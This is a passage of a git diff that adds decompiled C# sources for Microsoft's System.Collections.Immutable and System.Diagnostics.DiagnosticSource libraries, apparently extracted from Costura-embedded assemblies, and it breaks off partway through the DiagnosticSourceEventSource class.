a/decompiled/Libraries/system.collections.immutable/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs new file mode 100644 index 0000000..b1e6bfb --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs @@ -0,0 +1,16 @@ +using Microsoft.CodeAnalysis; + +namespace System.Runtime.CompilerServices; + +[CompilerGenerated] +[Embedded] +[AttributeUsage(AttributeTargets.Module, AllowMultiple = false, Inherited = false)] +internal sealed class NullablePublicOnlyAttribute : Attribute +{ + public readonly bool IncludesInternals; + + public NullablePublicOnlyAttribute(bool P_0) + { + IncludesInternals = P_0; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Runtime.InteropServices/LibraryImportAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Runtime.InteropServices/LibraryImportAttribute.cs new file mode 100644 index 0000000..af74d8a --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Runtime.InteropServices/LibraryImportAttribute.cs @@ -0,0 +1,20 @@ +namespace System.Runtime.InteropServices; + +[AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] +internal sealed class LibraryImportAttribute : Attribute +{ + public string LibraryName { get; } + + public string? EntryPoint { get; set; } + + public StringMarshalling StringMarshalling { get; set; } + + public Type? StringMarshallingCustomType { get; set; } + + public bool SetLastError { get; set; } + + public LibraryImportAttribute(string libraryName) + { + LibraryName = libraryName; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Runtime.InteropServices/StringMarshalling.cs b/decompiled/Libraries/system.collections.immutable/System.Runtime.InteropServices/StringMarshalling.cs new file mode 100644 index 0000000..b8bc953 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Runtime.InteropServices/StringMarshalling.cs @@ -0,0 +1,8 @@ +namespace System.Runtime.InteropServices; + +internal enum StringMarshalling +{ + Custom, + Utf8, + Utf16 +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Runtime.Versioning/NonVersionableAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Runtime.Versioning/NonVersionableAttribute.cs new file mode 100644 index 0000000..d7361c1 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Runtime.Versioning/NonVersionableAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Runtime.Versioning; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Constructor | AttributeTargets.Method, AllowMultiple = false, Inherited = false)] +internal sealed class NonVersionableAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.collections.immutable/System/SR.cs b/decompiled/Libraries/system.collections.immutable/System/SR.cs new file mode 100644 index 0000000..97fb424 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System/SR.cs @@ -0,0 +1,145 @@ +using System.Resources; +using FxResources.System.Collections.Immutable; + +namespace System; + +internal static class SR +{ + private static readonly bool s_usingResourceKeys = AppContext.TryGetSwitch("System.Resources.UseSystemResourceKeys", out var isEnabled) && isEnabled; + + private static ResourceManager s_resourceManager; + + internal static ResourceManager ResourceManager => s_resourceManager ?? (s_resourceManager = new ResourceManager(typeof(SR))); + + internal static string Arg_KeyNotFoundWithKey => GetResourceString("Arg_KeyNotFoundWithKey"); + + internal static string ArrayInitializedStateNotEqual => GetResourceString("ArrayInitializedStateNotEqual"); + + internal static string ArrayLengthsNotEqual => GetResourceString("ArrayLengthsNotEqual"); + + internal static string CannotFindOldValue => GetResourceString("CannotFindOldValue"); + + internal static string CapacityMustBeGreaterThanOrEqualToCount => GetResourceString("CapacityMustBeGreaterThanOrEqualToCount"); + + internal static string CapacityMustEqualCountOnMove => GetResourceString("CapacityMustEqualCountOnMove"); + + internal static string CollectionModifiedDuringEnumeration => GetResourceString("CollectionModifiedDuringEnumeration"); + + internal static string DuplicateKey => GetResourceString("DuplicateKey"); + + internal static string InvalidEmptyOperation => GetResourceString("InvalidEmptyOperation"); + + internal static string InvalidOperationOnDefaultArray => GetResourceString("InvalidOperationOnDefaultArray"); + + private static bool UsingResourceKeys() + { + return s_usingResourceKeys; + } + + internal static string GetResourceString(string resourceKey) + { + if (UsingResourceKeys()) + { + return resourceKey; + } + string result = null; + try + { + result = ResourceManager.GetString(resourceKey); + } + catch (MissingManifestResourceException) + { + } + return result; + } + + internal static string GetResourceString(string resourceKey, string defaultString) + { + string resourceString = GetResourceString(resourceKey); + if (!(resourceKey == resourceString) && resourceString != null) + { + return resourceString; + } + return defaultString; + } + + internal static string Format(string resourceFormat, object? p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(resourceFormat, p1); + } + + internal static string Format(string resourceFormat, object? p1, object? p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(resourceFormat, p1, p2); + } + + internal static string Format(string resourceFormat, object? p1, object? p2, object? p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(resourceFormat, p1, p2, p3); + } + + internal static string Format(string resourceFormat, params object?[]? args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + ", " + string.Join(", ", args); + } + return string.Format(resourceFormat, args); + } + return resourceFormat; + } + + internal static string Format(IFormatProvider? provider, string resourceFormat, object? p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(provider, resourceFormat, p1); + } + + internal static string Format(IFormatProvider? provider, string resourceFormat, object? p1, object? p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(provider, resourceFormat, p1, p2); + } + + internal static string Format(IFormatProvider? provider, string resourceFormat, object? p1, object? p2, object? p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(provider, resourceFormat, p1, p2, p3); + } + + internal static string Format(IFormatProvider? provider, string resourceFormat, params object?[]? args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + ", " + string.Join(", ", args); + } + return string.Format(provider, resourceFormat, args); + } + return resourceFormat; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/costura.system.collections.immutable.csproj b/decompiled/Libraries/system.collections.immutable/costura.system.collections.immutable.csproj new file mode 100644 index 0000000..702af29 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/costura.system.collections.immutable.csproj @@ -0,0 +1,26 @@ + + + System.Collections.Immutable + False + net462 + + + 14.0 + True + False + + + + + + + + + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Core.dll + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.diagnostics.diagnosticsource/.DS_Store b/decompiled/Libraries/system.diagnostics.diagnosticsource/.DS_Store new file mode 100644 index 0000000..f5749ff Binary files /dev/null and b/decompiled/Libraries/system.diagnostics.diagnosticsource/.DS_Store differ diff --git a/decompiled/Libraries/system.diagnostics.diagnosticsource/Properties/AssemblyInfo.cs b/decompiled/Libraries/system.diagnostics.diagnosticsource/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..278c6fe --- /dev/null +++ b/decompiled/Libraries/system.diagnostics.diagnosticsource/Properties/AssemblyInfo.cs @@ -0,0 +1,17 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyTitle("System.Diagnostics.DiagnosticSource")] +[assembly: AssemblyDescription("System.Diagnostics.DiagnosticSource")] +[assembly: AssemblyDefaultAlias("System.Diagnostics.DiagnosticSource")] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyProduct("Microsoft® .NET Framework")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.6.24705.01")] +[assembly: AssemblyInformationalVersion("4.6.24705.01. Commit Hash: 4d1af962ca0fede10beb01d197367c2f90e92c97")] +[assembly: CLSCompliant(true)] +[assembly: AssemblyMetadata(".NETFrameworkAssembly", "")] +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyVersion("4.0.1.0")] diff --git a/decompiled/Libraries/system.diagnostics.diagnosticsource/System.Diagnostics/DiagnosticListener.cs b/decompiled/Libraries/system.diagnostics.diagnosticsource/System.Diagnostics/DiagnosticListener.cs new file mode 100644 index 0000000..7b48d07 --- /dev/null +++ b/decompiled/Libraries/system.diagnostics.diagnosticsource/System.Diagnostics/DiagnosticListener.cs @@ -0,0 +1,261 @@ +using System.Collections.Generic; +using System.Diagnostics.Tracing; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace System.Diagnostics; + +public class DiagnosticListener : DiagnosticSource, IObservable>, IDisposable +{ + private class DiagnosticSubscription : Object, IDisposable + { + internal IObserver> Observer; + + internal Predicate IsEnabled; + + internal DiagnosticListener Owner; + + internal DiagnosticSubscription Next; + + public void Dispose() + { + DiagnosticSubscription subscriptions; + DiagnosticSubscription diagnosticSubscription; + do + { + subscriptions = Owner._subscriptions; + diagnosticSubscription = Remove(subscriptions, this); + } + while (Interlocked.CompareExchange(ref Owner._subscriptions, diagnosticSubscription, subscriptions) != subscriptions); + } + + private static DiagnosticSubscription Remove(DiagnosticSubscription subscriptions, DiagnosticSubscription subscription) + { + if (subscriptions == null) + { + return null; + } + if (subscriptions.Observer == subscription.Observer && (Delegate)(object)subscriptions.IsEnabled == (Delegate)(object)subscription.IsEnabled) + { + return subscriptions.Next; + } + return new DiagnosticSubscription + { + Observer = subscriptions.Observer, + Owner = subscriptions.Owner, + IsEnabled = subscriptions.IsEnabled, + Next = Remove(subscriptions.Next, subscription) + }; + } + } + + private class AllListenerObservable : Object, IObservable + { + internal class AllListenerSubscription : Object, IDisposable + { + private readonly AllListenerObservable _owner; + + internal readonly IObserver Subscriber; + + internal AllListenerSubscription Next; + + internal AllListenerSubscription(AllListenerObservable owner, IObserver subscriber, AllListenerSubscription next) + { + _owner = owner; + Subscriber = subscriber; + Next = next; + } + + public void Dispose() + { + if (_owner.Remove(this)) + { + Subscriber.OnCompleted(); + } + } + } + + private AllListenerSubscription _subscriptions; + + public IDisposable Subscribe(IObserver observer) + { + lock (s_lock) + { + for (DiagnosticListener diagnosticListener = s_allListeners; diagnosticListener != null; diagnosticListener = diagnosticListener._next) + { + observer.OnNext(diagnosticListener); + } + _subscriptions = new AllListenerSubscription(this, observer, _subscriptions); + return (IDisposable)(object)_subscriptions; + } + } + + internal void OnNewDiagnosticListener(DiagnosticListener diagnosticListener) + { + for (AllListenerSubscription allListenerSubscription = _subscriptions; allListenerSubscription != null; allListenerSubscription = allListenerSubscription.Next) + { + allListenerSubscription.Subscriber.OnNext(diagnosticListener); + } + } + + private bool Remove(AllListenerSubscription subscription) + { + lock (s_lock) + { + if (_subscriptions == subscription) + { + _subscriptions = subscription.Next; + return true; + } + if (_subscriptions != null) + { + AllListenerSubscription allListenerSubscription = _subscriptions; + while (allListenerSubscription.Next != null) + { + if (allListenerSubscription.Next == subscription) + { + allListenerSubscription.Next = allListenerSubscription.Next.Next; + return true; + } + allListenerSubscription = allListenerSubscription.Next; + } + } + return false; + } + } + } + + private volatile DiagnosticSubscription _subscriptions; + + private DiagnosticListener _next; + + private bool _disposed; + + private static DiagnosticListener s_allListeners; + + private static AllListenerObservable s_allListenerObservable; + + private static object s_lock = (object)new Object(); + + public static IObservable AllListeners + { + get + { + if (s_allListenerObservable == null) + { + s_allListenerObservable = new AllListenerObservable(); + } + return s_allListenerObservable; + } + } + + [field: CompilerGenerated] + public string Name + { + [CompilerGenerated] + get; + [CompilerGenerated] + private set; + } + + public virtual IDisposable Subscribe(IObserver> observer, Predicate isEnabled) + { + if (_disposed) + { + return (IDisposable)(object)new DiagnosticSubscription + { + Owner = this + }; + } + DiagnosticSubscription diagnosticSubscription = new DiagnosticSubscription + { + Observer = observer, + IsEnabled = isEnabled, + Owner = this, + Next = _subscriptions + }; + while (Interlocked.CompareExchange(ref _subscriptions, diagnosticSubscription, diagnosticSubscription.Next) != diagnosticSubscription.Next) + { + diagnosticSubscription.Next = _subscriptions; + } + return (IDisposable)(object)diagnosticSubscription; + } + + public IDisposable Subscribe(IObserver> observer) + { + return Subscribe(observer, null); + } + + public DiagnosticListener(string name) + { + Name = name; + lock (s_lock) + { + s_allListenerObservable?.OnNewDiagnosticListener(this); + _next = s_allListeners; + s_allListeners = this; + } + ((EventSource)DiagnosticSourceEventSource.Logger).IsEnabled(); + } + + public virtual void Dispose() + { + lock (s_lock) + { + if (_disposed) + { + return; + } + _disposed = true; + if (s_allListeners == this) + { + s_allListeners = s_allListeners._next; + } + else + { + for (DiagnosticListener next = s_allListeners; next != null; next = next._next) + { + if (next._next == this) + { + next._next = _next; + break; + } + } + } + _next = null; + } + DiagnosticSubscription diagnosticSubscription = null; + Interlocked.Exchange(ref diagnosticSubscription, _subscriptions); + while (diagnosticSubscription != null) + { + diagnosticSubscription.Observer.OnCompleted(); + diagnosticSubscription = diagnosticSubscription.Next; + } + } + + public override string ToString() + { + return Name; + } + + public override bool IsEnabled(string name) + { + for (DiagnosticSubscription diagnosticSubscription = _subscriptions; diagnosticSubscription != null; diagnosticSubscription = diagnosticSubscription.Next) + { + if (diagnosticSubscription.IsEnabled == null || diagnosticSubscription.IsEnabled.Invoke(name)) + { + return true; + } + } + return false; + } + + public override void Write(string name, object value) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + for (DiagnosticSubscription diagnosticSubscription = _subscriptions; diagnosticSubscription != null; diagnosticSubscription = diagnosticSubscription.Next) + { + diagnosticSubscription.Observer.OnNext(new KeyValuePair(name, value)); + } + } +} diff --git a/decompiled/Libraries/system.diagnostics.diagnosticsource/System.Diagnostics/DiagnosticSource.cs b/decompiled/Libraries/system.diagnostics.diagnosticsource/System.Diagnostics/DiagnosticSource.cs new file mode 100644 index 0000000..43d943d --- /dev/null +++ b/decompiled/Libraries/system.diagnostics.diagnosticsource/System.Diagnostics/DiagnosticSource.cs @@ -0,0 +1,8 @@ +namespace System.Diagnostics; + +public abstract class DiagnosticSource : Object +{ + public abstract void Write(string name, object value); + + public abstract bool IsEnabled(string name); +} diff --git a/decompiled/Libraries/system.diagnostics.diagnosticsource/System.Diagnostics/DiagnosticSourceEventSource.cs b/decompiled/Libraries/system.diagnostics.diagnosticsource/System.Diagnostics/DiagnosticSourceEventSource.cs new file mode 100644 index 0000000..aea63ad --- /dev/null +++ b/decompiled/Libraries/system.diagnostics.diagnosticsource/System.Diagnostics/DiagnosticSourceEventSource.cs @@ -0,0 +1,694 @@ +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics.Tracing; +using System.Reflection; +using System.Runtime.CompilerServices; + +namespace System.Diagnostics; + +[EventSource(Name = "Microsoft-Diagnostics-DiagnosticSource")] +internal class DiagnosticSourceEventSource : EventSource +{ + public class Keywords : Object + { + public const EventKeywords Messages = (EventKeywords)1L; + + public const EventKeywords Events = (EventKeywords)2L; + + public const EventKeywords IgnoreShortCutKeywords = (EventKeywords)2048L; + + public const EventKeywords AspNetCoreHosting = (EventKeywords)4096L; + + public const EventKeywords EntityFrameworkCoreCommands = (EventKeywords)8192L; + } + + internal class FilterAndTransform : Object + { + [CompilerGenerated] + private sealed class _003C_003Ec__DisplayClass2_0 : Object + { + public string listenerNameFilter; + + public string eventNameFilter; + + public Action>> writeEvent; + + public FilterAndTransform _003C_003E4__this; + + internal void _003C_002Ector_003Eb__0(DiagnosticListener newListener) + { + _003C_003Ec__DisplayClass2_1 CS_0024_003C_003E8__locals8 = new _003C_003Ec__DisplayClass2_1 + { + CS_0024_003C_003E8__locals1 = this, + newListener = newListener + }; + if (listenerNameFilter != null && !(listenerNameFilter == CS_0024_003C_003E8__locals8.newListener.Name)) + { + return; + } + _003C_003E4__this._eventSource.NewDiagnosticListener(CS_0024_003C_003E8__locals8.newListener.Name); + Predicate isEnabled = null; + if (eventNameFilter != null) + { + isEnabled = (string eventName) => eventNameFilter == eventName; + } + IDisposable subscription = CS_0024_003C_003E8__locals8.newListener.Subscribe(new CallbackObserver>(delegate(KeyValuePair evnt) + { + if (CS_0024_003C_003E8__locals8.CS_0024_003C_003E8__locals1.eventNameFilter == null || !(CS_0024_003C_003E8__locals8.CS_0024_003C_003E8__locals1.eventNameFilter != evnt.Key)) + { + List> val = CS_0024_003C_003E8__locals8.CS_0024_003C_003E8__locals1._003C_003E4__this.Morph(evnt.Value); + string key = evnt.Key; + CS_0024_003C_003E8__locals8.CS_0024_003C_003E8__locals1.writeEvent.Invoke(CS_0024_003C_003E8__locals8.newListener.Name, key, (IEnumerable>)(object)val); + } + }), isEnabled); + _003C_003E4__this._liveSubscriptions = new Subscriptions(subscription, _003C_003E4__this._liveSubscriptions); + } + + internal bool _003C_002Ector_003Eb__1(string eventName) + { + return eventNameFilter == eventName; + } + } + + [CompilerGenerated] + private sealed class _003C_003Ec__DisplayClass2_1 : Object + { + public DiagnosticListener newListener; + + public _003C_003Ec__DisplayClass2_0 CS_0024_003C_003E8__locals1; + + internal void _003C_002Ector_003Eb__2(KeyValuePair evnt) + { + if (CS_0024_003C_003E8__locals1.eventNameFilter == null || !(CS_0024_003C_003E8__locals1.eventNameFilter != evnt.Key)) + { + List> val = CS_0024_003C_003E8__locals1._003C_003E4__this.Morph(evnt.Value); + string key = evnt.Key; + CS_0024_003C_003E8__locals1.writeEvent.Invoke(newListener.Name, key, (IEnumerable>)(object)val); + } + } + } + + public FilterAndTransform Next; + + private IDisposable _diagnosticsListenersSubscription; + + private Subscriptions _liveSubscriptions; + + private bool _noImplicitTransforms; + + private Type _expectedArgType; + + private TransformSpec _implicitTransforms; + + private TransformSpec _explicitTransforms; + + private DiagnosticSourceEventSource _eventSource; + + public static void CreateFilterAndTransformList(ref FilterAndTransform specList, string filterAndPayloadSpecs, DiagnosticSourceEventSource eventSource) + { + DestroyFilterAndTransformList(ref specList); + if (filterAndPayloadSpecs == null) + { + filterAndPayloadSpecs = ""; + } + int num = filterAndPayloadSpecs.Length; + while (true) + { + if (0 < num && Char.IsWhiteSpace(filterAndPayloadSpecs[num - 1])) + { + num--; + continue; + } + int num2 = filterAndPayloadSpecs.LastIndexOf('\n', num - 1, num); + int i = 0; + if (0 <= num2) + { + i = num2 + 1; + } + for (; i < num && Char.IsWhiteSpace(filterAndPayloadSpecs[i]); i++) + { + } + specList = new FilterAndTransform(filterAndPayloadSpecs, i, num, eventSource, specList); + num = num2; + if (num < 0) + { + break; + } + } + } + + public static void DestroyFilterAndTransformList(ref FilterAndTransform specList) + { + FilterAndTransform filterAndTransform = specList; + specList = null; + while (filterAndTransform != null) + { + filterAndTransform.Dispose(); + filterAndTransform = filterAndTransform.Next; + } + } + + public FilterAndTransform(string filterAndPayloadSpec, int startIdx, int endIdx, DiagnosticSourceEventSource eventSource, FilterAndTransform next) + { + _003C_003Ec__DisplayClass2_0 CS_0024_003C_003E8__locals25 = new _003C_003Ec__DisplayClass2_0 + { + _003C_003E4__this = this + }; + Next = next; + _eventSource = eventSource; + CS_0024_003C_003E8__locals25.listenerNameFilter = null; + CS_0024_003C_003E8__locals25.eventNameFilter = null; + string text = null; + int num = startIdx; + int num2 = endIdx; + int num3 = filterAndPayloadSpec.IndexOf(':', startIdx, endIdx - startIdx); + if (0 <= num3) + { + num2 = num3; + num = num3 + 1; + } + int num4 = filterAndPayloadSpec.IndexOf('/', startIdx, num2 - startIdx); + if (0 <= num4) + { + CS_0024_003C_003E8__locals25.listenerNameFilter = filterAndPayloadSpec.Substring(startIdx, num4 - startIdx); + int num5 = filterAndPayloadSpec.IndexOf('@', num4 + 1, num2 - num4 - 1); + if (0 <= num5) + { + text = filterAndPayloadSpec.Substring(num5 + 1, num2 - num5 - 1); + CS_0024_003C_003E8__locals25.eventNameFilter = filterAndPayloadSpec.Substring(num4 + 1, num5 - num4 - 1); + } + else + { + CS_0024_003C_003E8__locals25.eventNameFilter = filterAndPayloadSpec.Substring(num4 + 1, num2 - num4 - 1); + } + } + else if (startIdx < num2) + { + CS_0024_003C_003E8__locals25.listenerNameFilter = filterAndPayloadSpec.Substring(startIdx, num2 - startIdx); + } + _eventSource.Message(String.Concat((string[])(object)new String[5] + { + "DiagnosticSource: Enabling '", + CS_0024_003C_003E8__locals25.listenerNameFilter ?? "*", + "/", + CS_0024_003C_003E8__locals25.eventNameFilter ?? "*", + "'" + })); + if (num < endIdx && filterAndPayloadSpec[num] == '-') + { + _eventSource.Message("DiagnosticSource: suppressing implicit transforms."); + _noImplicitTransforms = true; + num++; + } + if (num < endIdx) + { + while (true) + { + int num6 = num; + int num7 = filterAndPayloadSpec.LastIndexOf(';', endIdx - 1, endIdx - num); + if (0 <= num7) + { + num6 = num7 + 1; + } + if (num6 < endIdx) + { + if (((EventSource)_eventSource).IsEnabled((EventLevel)4, (EventKeywords)1)) + { + _eventSource.Message(String.Concat("DiagnosticSource: Parsing Explicit Transform '", filterAndPayloadSpec.Substring(num6, endIdx - num6), "'")); + } + _explicitTransforms = new TransformSpec(filterAndPayloadSpec, num6, endIdx, _explicitTransforms); + } + if (num == num6) + { + break; + } + endIdx = num7; + } + } + CS_0024_003C_003E8__locals25.writeEvent = null; + if (text != null && text.Contains("Activity")) + { + MethodInfo declaredMethod = IntrospectionExtensions.GetTypeInfo(typeof(DiagnosticSourceEventSource)).GetDeclaredMethod(text); + if (declaredMethod != null) + { + try + { + CS_0024_003C_003E8__locals25.writeEvent = (Action>>)(object)declaredMethod.CreateDelegate(typeof(Action>>), (object)_eventSource); + } + catch (Exception) + { + } + } + if (CS_0024_003C_003E8__locals25.writeEvent == null) + { + _eventSource.Message(String.Concat("DiagnosticSource: Could not find Event to log Activity ", text)); + } + } + if (CS_0024_003C_003E8__locals25.writeEvent == null) + { + CS_0024_003C_003E8__locals25.writeEvent = _eventSource.Event; + } + _diagnosticsListenersSubscription = DiagnosticListener.AllListeners.Subscribe((IObserver)new CallbackObserver(delegate(DiagnosticListener newListener) + { + _003C_003Ec__DisplayClass2_1 CS_0024_003C_003E8__locals30 = new _003C_003Ec__DisplayClass2_1 + { + CS_0024_003C_003E8__locals1 = CS_0024_003C_003E8__locals25, + newListener = newListener + }; + if (CS_0024_003C_003E8__locals25.listenerNameFilter == null || CS_0024_003C_003E8__locals25.listenerNameFilter == CS_0024_003C_003E8__locals30.newListener.Name) + { + CS_0024_003C_003E8__locals25._003C_003E4__this._eventSource.NewDiagnosticListener(CS_0024_003C_003E8__locals30.newListener.Name); + Predicate isEnabled = null; + if (CS_0024_003C_003E8__locals25.eventNameFilter != null) + { + isEnabled = (string eventName) => CS_0024_003C_003E8__locals25.eventNameFilter == eventName; + } + IDisposable subscription = CS_0024_003C_003E8__locals30.newListener.Subscribe(new CallbackObserver>(delegate(KeyValuePair evnt) + { + if (CS_0024_003C_003E8__locals30.CS_0024_003C_003E8__locals1.eventNameFilter == null || !(CS_0024_003C_003E8__locals30.CS_0024_003C_003E8__locals1.eventNameFilter != evnt.Key)) + { + List> val = CS_0024_003C_003E8__locals30.CS_0024_003C_003E8__locals1._003C_003E4__this.Morph(evnt.Value); + string key = evnt.Key; + CS_0024_003C_003E8__locals30.CS_0024_003C_003E8__locals1.writeEvent.Invoke(CS_0024_003C_003E8__locals30.newListener.Name, key, (IEnumerable>)(object)val); + } + }), isEnabled); + CS_0024_003C_003E8__locals25._003C_003E4__this._liveSubscriptions = new Subscriptions(subscription, CS_0024_003C_003E8__locals25._003C_003E4__this._liveSubscriptions); + } + })); + } + + private void Dispose() + { + if (_diagnosticsListenersSubscription != null) + { + _diagnosticsListenersSubscription.Dispose(); + _diagnosticsListenersSubscription = null; + } + if (_liveSubscriptions != null) + { + Subscriptions subscriptions = _liveSubscriptions; + _liveSubscriptions = null; + while (subscriptions != null) + { + subscriptions.Subscription.Dispose(); + subscriptions = subscriptions.Next; + } + } + } + + public List> Morph(object args) + { + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + List> val = new List>(); + if (args != null) + { + if (!_noImplicitTransforms) + { + Type type = args.GetType(); + if (_expectedArgType != type) + { + _implicitTransforms = null; + TransformSpec transformSpec = null; + TypeInfo typeInfo = IntrospectionExtensions.GetTypeInfo(type); + IEnumerator enumerator = typeInfo.DeclaredProperties.GetEnumerator(); + try + { + while (((IEnumerator)enumerator).MoveNext()) + { + PropertyInfo current = enumerator.Current; + Type propertyType = current.PropertyType; + if (propertyType == typeof(String) || IntrospectionExtensions.GetTypeInfo(propertyType).IsPrimitive) + { + transformSpec = new TransformSpec(((MemberInfo)current).Name, 0, ((MemberInfo)current).Name.Length, transformSpec); + } + } + } + finally + { + if (enumerator != null) + { + ((IDisposable)enumerator).Dispose(); + } + } + _expectedArgType = type; + _implicitTransforms = Reverse(transformSpec); + } + if (_implicitTransforms != null) + { + for (TransformSpec transformSpec2 = _implicitTransforms; transformSpec2 != null; transformSpec2 = transformSpec2.Next) + { + val.Add(transformSpec2.Morph(args)); + } + } + } + if (_explicitTransforms != null) + { + for (TransformSpec transformSpec3 = _explicitTransforms; transformSpec3 != null; transformSpec3 = transformSpec3.Next) + { + KeyValuePair val2 = transformSpec3.Morph(args); + if (val2.Value != null) + { + val.Add(val2); + } + } + } + } + return val; + } + + private static TransformSpec Reverse(TransformSpec list) + { + TransformSpec transformSpec = null; + while (list != null) + { + TransformSpec next = list.Next; + list.Next = transformSpec; + transformSpec = list; + list = next; + } + return transformSpec; + } + } + + internal class TransformSpec : Object + { + internal class PropertySpec : Object + { + private class PropertyFetch : Object + { + private class TypedFetchProperty : PropertyFetch + { + private readonly Func _propertyFetch; + + public TypedFetchProperty(PropertyInfo property) + { + _propertyFetch = (Func)(object)property.GetMethod.CreateDelegate(typeof(Func)); + } + + public override object Fetch(object obj) + { + return _propertyFetch.Invoke((TObject)obj); + } + } + + public static PropertyFetch FetcherForProperty(PropertyInfo propertyInfo) + { + if (propertyInfo == null) + { + return new PropertyFetch(); + } + Type typeFromHandle = typeof(TypedFetchProperty<, >); + Type val = IntrospectionExtensions.GetTypeInfo(typeFromHandle).MakeGenericType((Type[])(object)new Type[2] + { + ((MemberInfo)propertyInfo).DeclaringType, + propertyInfo.PropertyType + }); + return (PropertyFetch)Activator.CreateInstance(val, (object[])(object)new Object[1] { (Object)propertyInfo }); + } + + public virtual object Fetch(object obj) + { + return null; + } + } + + public PropertySpec Next; + + private string _propertyName; + + private Type _expectedType; + + private PropertyFetch _fetchForExpectedType; + + public PropertySpec(string propertyName, PropertySpec next = null) + { + Next = next; + _propertyName = propertyName; + } + + public object Fetch(object obj) + { + Type type = obj.GetType(); + if (type != _expectedType) + { + TypeInfo typeInfo = IntrospectionExtensions.GetTypeInfo(type); + _fetchForExpectedType = PropertyFetch.FetcherForProperty(typeInfo.GetDeclaredProperty(_propertyName)); + _expectedType = type; + } + return _fetchForExpectedType.Fetch(obj); + } + } + + public TransformSpec Next; + + private string _outputName; + + private PropertySpec _fetches; + + public TransformSpec(string transformSpec, int startIdx, int endIdx, TransformSpec next = null) + { + Next = next; + int num = transformSpec.IndexOf('=', startIdx, endIdx - startIdx); + if (0 <= num) + { + _outputName = transformSpec.Substring(startIdx, num - startIdx); + startIdx = num + 1; + } + while (startIdx < endIdx) + { + int num2 = transformSpec.LastIndexOf('.', endIdx - 1, endIdx - startIdx); + int num3 = startIdx; + if (0 <= num2) + { + num3 = num2 + 1; + } + string text = transformSpec.Substring(num3, endIdx - num3); + _fetches = new PropertySpec(text, _fetches); + if (_outputName == null) + { + _outputName = text; + } + endIdx = num2; + } + } + + public KeyValuePair Morph(object obj) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + for (PropertySpec propertySpec = _fetches; propertySpec != null; propertySpec = propertySpec.Next) + { + if (obj != null) + { + obj = propertySpec.Fetch(obj); + } + } + return new KeyValuePair(_outputName, (obj != null) ? obj.ToString() : null); + } + } + + internal class CallbackObserver : Object, IObserver + { + private Action _callback; + + public CallbackObserver(Action callback) + { + _callback = callback; + } + + public void OnCompleted() + { + } + + public void OnError(Exception error) + { + } + + public void OnNext(T value) + { + _callback.Invoke(value); + } + } + + internal class Subscriptions : Object + { + public IDisposable Subscription; + + public Subscriptions Next; + + public Subscriptions(IDisposable subscription, Subscriptions next) + { + Subscription = subscription; + Next = next; + } + } + + public static DiagnosticSourceEventSource Logger = new DiagnosticSourceEventSource(); + + private readonly string AspNetCoreHostingKeywordValue = "Microsoft.AspNetCore/Microsoft.AspNetCore.Hosting.BeginRequest@Activity1Start:-httpContext.Request.Method;httpContext.Request.Host;httpContext.Request.Path;httpContext.Request.QueryString\nMicrosoft.AspNetCore/Microsoft.AspNetCore.Hosting.EndRequest@Activity1Stop:-"; + + private readonly string EntityFrameworkCoreCommandsKeywordValue = "Microsoft.EntityFrameworkCore/Microsoft.EntityFrameworkCore.BeforeExecuteCommand@Activity2Start:-Command.Connection.DataSource;Command.Connection.Database;Command.CommandText\nMicrosoft.EntityFrameworkCore/Microsoft.EntityFrameworkCore.AfterExecuteCommand@Activity2Stop:-"; + + private volatile bool _false; + + private FilterAndTransform _specs; + + [Event(/*Could not decode attribute arguments.*/)] + public void Message(string Message) + { + ((EventSource)this).WriteEvent(1, Message); + } + + [Event(/*Could not decode attribute arguments.*/)] + private void Event(string SourceName, string EventName, IEnumerable> Arguments) + { + ((EventSource)this).WriteEvent(2, (object[])(object)new Object[3] + { + (Object)SourceName, + (Object)EventName, + 